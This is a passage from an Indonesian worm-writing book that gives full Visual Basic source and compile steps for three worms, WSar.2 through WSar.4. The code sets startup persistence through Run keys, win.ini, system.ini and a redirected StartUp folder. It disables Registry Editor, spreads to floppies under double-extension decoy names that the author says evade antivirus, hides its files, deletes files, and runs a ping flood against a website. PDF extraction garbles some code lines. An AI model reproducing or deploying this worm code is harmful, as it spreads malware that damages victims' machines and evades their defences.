Bab 8. Worm WSar.2
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengeksekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure PayLoad kemudian mengakhiri proses worm. Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function
Bab 8. Worm WSar.2
Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function
Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digunakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD) Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1) End Sub
Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\ Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan mengakibatkan user tidak dapat mengakses aplikasi Registry Editor.
122
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _ "entVersion\Run\windll", sysfolder & "\" & "winfake.exe") End Sub
"HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ Run\windll" dengan value berupa gabungan alamat file pada direktori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup. Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub
Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe" Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
123
Jasakom
Bab 8. Worm WSar.2
Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Procedure PayLoad memanfaatkan file system object untuk mendapatkan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Temporary, kemudian menghapus seluruh file yang berekstensi 'tmp’ pada direktori Windows, seluruh file berekstensi 'bak’ pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary. Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya. Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: User Key / HKCU [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
Bab 8. Worm WSar.2
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]
System Key / HKLM [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT \CurrentVersion\ Winlogon\Userinit]
124
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 9 WORM WSar.3
W
9.1 ALGORITMA WSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini’ untuk mengaktifkan worm setiap kali Windows startup 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menempatkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor
125
Jasakom
Bab 9. Worm WSar.3
orm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan memanipulasi file konfigurasi Windows (win.ini) dan memanfaatkan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.
Computer Worm 1 - Secret of Underground Coding : Uncensored
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.
9.2 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title 'WSar.3’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module. Properti object Form1 Bab 9. Worm WSar.3
Jenis
Nilai
Keterangan
Name
frmWSar3
Mengatur nama form menjadi frmWSar3
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrWSar3
Mengatur nama Timer menjadi tmrWSar3
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
60000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
126
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
30000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 30 detik
Properti Module1 Jenis Name
Nilai mdlFileIni
Keterangan Mengatur nama module menjadi mdlFileIni
Declare Function GetPrivateProfileString Lib "kernel32" Alias _ "GetPrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpDefault As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "kernel32" Alias _ "WritePrivateProfileStringA" (ByVal lpApplicationName As _ String, ByVal lpKeyName As String, ByVal lpString As Any, _ ByVal lpFileName As String) As Long Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal _ KeyName, "", sRet, Len(sRet), filename)) End Function Function writeini(ByVal sSection As String, ByVal sKeyName As String, _ ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, sNewString, _ sFileName) End Function
127
Jasakom
Bab 9. Worm WSar.3
Ketik kode program berikut ini pada object mdlFileIni:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Ketik kode program berikut ini pada object frmWSar3: 'WSar.3 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long
Bab 9. Worm WSar.3
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") _ MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini") End Sub
128
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub
Bab 9. Worm WSar.3
Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
129
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Berikut penjelasan tentang kode program: 'WSar.3 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function SetCursorPos Lib "user32" _ (ByVal x As Long, ByVal Y As Long) As Long
Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.
Bab 9. Worm WSar.3
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system. Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.
130
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini") End Sub
Procedure ini berusaha mendapatkan direktori Windows dan direktori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System. Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".
Bab 9. Worm WSar.3
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub
Procedure ini akan membuat data array sebanyak 10 yang akan digunakan sebagai nama file. Sedikit menggunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe’.
131
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendeteksinya lagi sebagai worm atau virus . Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word. Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak.
Bab 9. Worm WSar.3
Satu hal yang mungkin akan terjadi adalah file worm disalin pada disket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe". Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.
132
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub
Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.
Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long
Mendeklarasikan function API GetPrivateProfileString WritePrivateProfileString dari library "kernel32".
dan
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename)) End Function Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName) End Function
Kedua function tersebut, 'ReadINI’ dan 'writeini’ mengotomatisasi penggunaan function API dari GetPrivateProfileString dan
133
Jasakom
Bab 9. Worm WSar.3
Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long
Computer Worm 1 - Secret of Underground Coding : Uncensored
WritePrivateProfileString, dengan tujuan agar dapat digunakan dengan lebih mudah dan sederhana. Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: WIN.INI Path
Direktori Windows (0)
Section
WINDOWS
Key 1
Run
Key 2
Load
Value
WormPath
Contoh yang bisa diaplikasikan pada WSar.3 writeini "WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini" writeini "WINDOWS", "Load", MainFile, winfolder & "\" & "win.ini"
SYSTEM.INI Path
Direktori Windows (0)
Bab 9. Worm WSar.3
Section
BOOT
Key
Shell
Value
"Explorer.exe " & WormPath
Contoh yang bisa diaplikasikan pada WSar.3 writeini "BOOT", "Shell", "Explorer.exe " & MainFile, winfolder & "\" & "system.ini"
WININIT.INI Path
Direktori Windows (0)
Section
RENAME
Key
Nul
Value
WormPath
Contoh yang bisa diaplikasikan pada WSar.3 writeini "RENAME", "Nul", MainFile, winfolder & "\" & "wininit.ini"
134
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 10 WORM WSar.4
W
Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file. Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.
10.1 ALGORITMA WSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian worm mengubah nilai suatu registry untuk memanipulasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp yang baru tersebut
135
Jasakom
Bab 10 Worm WSar.4
orm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut.
Computer Worm 1 - Secret of Underground Coding : Uncensored
3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.
10.2 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.4’ Bab 10. Worm WSar.4
Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module. Properti object Form1 Jenis
Nilai
Keterangan
Name
frmWSar4
Mengatur nama form menjadi frmWSar4
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
BorderStyle
None
Tidak memberikan garis tepi pada form
ControlBox
False
Tidak menggunakan control box
136
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrWSar4
Mengatur nama Timer menjadi tmrWSar4
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
60000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
60000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Text1 Name
Nilai txtName
Keterangan Mengatur nama TextBox menjadi txtName
Properti Module1 Jenis Name
Nilai mdlNameLogon
Keterangan Mengatur nama module menjadi mdlNameLogon
Properti Module2 Jenis Name
Nilai mdlRegistryAPI
Keterangan Mengatur nama module menjadi mdlRegistryAPI
137
Jasakom
Bab 10 Worm WSar.4
Jenis
Computer Worm 1 - Secret of Underground Coding : Uncensored
Ketik kode program berikut ini pada module mdlNameLogon: Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199 s = String$(200, 0) dl = GetUserName(s, cnt) If dl 0 Then CurUser = Left$(s, cnt) Else NameLogon = CurUser End Function
: CurUser = ""
Ketik kode program berikut ini pada module mdlRegistryAPI: Type FILETIME lLowDateTime lHighDateTime End Type
As Long As Long
Bab 10. Worm WSar.4
Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As Long Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ ByVal phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As Long Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ ByVal lpcbData As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long
138
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Const Const Const Const Const Const Const Const Const Const Const
ERROR_SUCCESS = 0& ERROR_BADDB = 1009& ERROR_BADKEY = 1010& ERROR_CANTOPEN = 1011& ERROR_CANTREAD = 1012& ERROR_CANTWRITE = 1013& ERROR_OUTOFMEMORY = 14& ERROR_INVALID_PARAMETER = 87& ERROR_ACCESS_DENIED = 5& ERROR_NO_MORE_ITEMS = 259& ERROR_MORE_DATA = 234&
Const Const Const Const Const Const Const Const Const Const Const Const
REG_NONE = 0& REG_SZ = 1& REG_EXPAND_SZ = 2& REG_BINARY = 3& REG_DWORD = 4& REG_DWORD_LITTLE_ENDIAN = 4& REG_DWORD_BIG_ENDIAN = 5& REG_LINK = 6& REG_MULTI_SZ = 7& REG_RESOURCE_LIST = 8& REG_FULL_RESOURCE_DESCRIPTOR = 9& REG_RESOURCE_REQUIREMENTS_LIST = 10&
Const KEY_QUERY_VALUE = &H1& Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10& Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000 Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFY Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ
Bab 10 Worm WSar.4
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal Reserved _ As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As Long Declare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As Long Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long
139
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Dim Dim Dim Dim Dim
hKey As Long, MainKeyHandle As Long rtn As Long, lBuffer As Long, sBuffer As String lBufferSize As Long lDataSize As Long ByteArray() As Byte
Const DisplayErrorMsg = False
Bab 10. Worm WSar.4
Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String) DeleteKeyValue = False Dim hKey As Long Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End If End Function
140
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function
141
Jasakom
Bab 10 Worm WSar.4
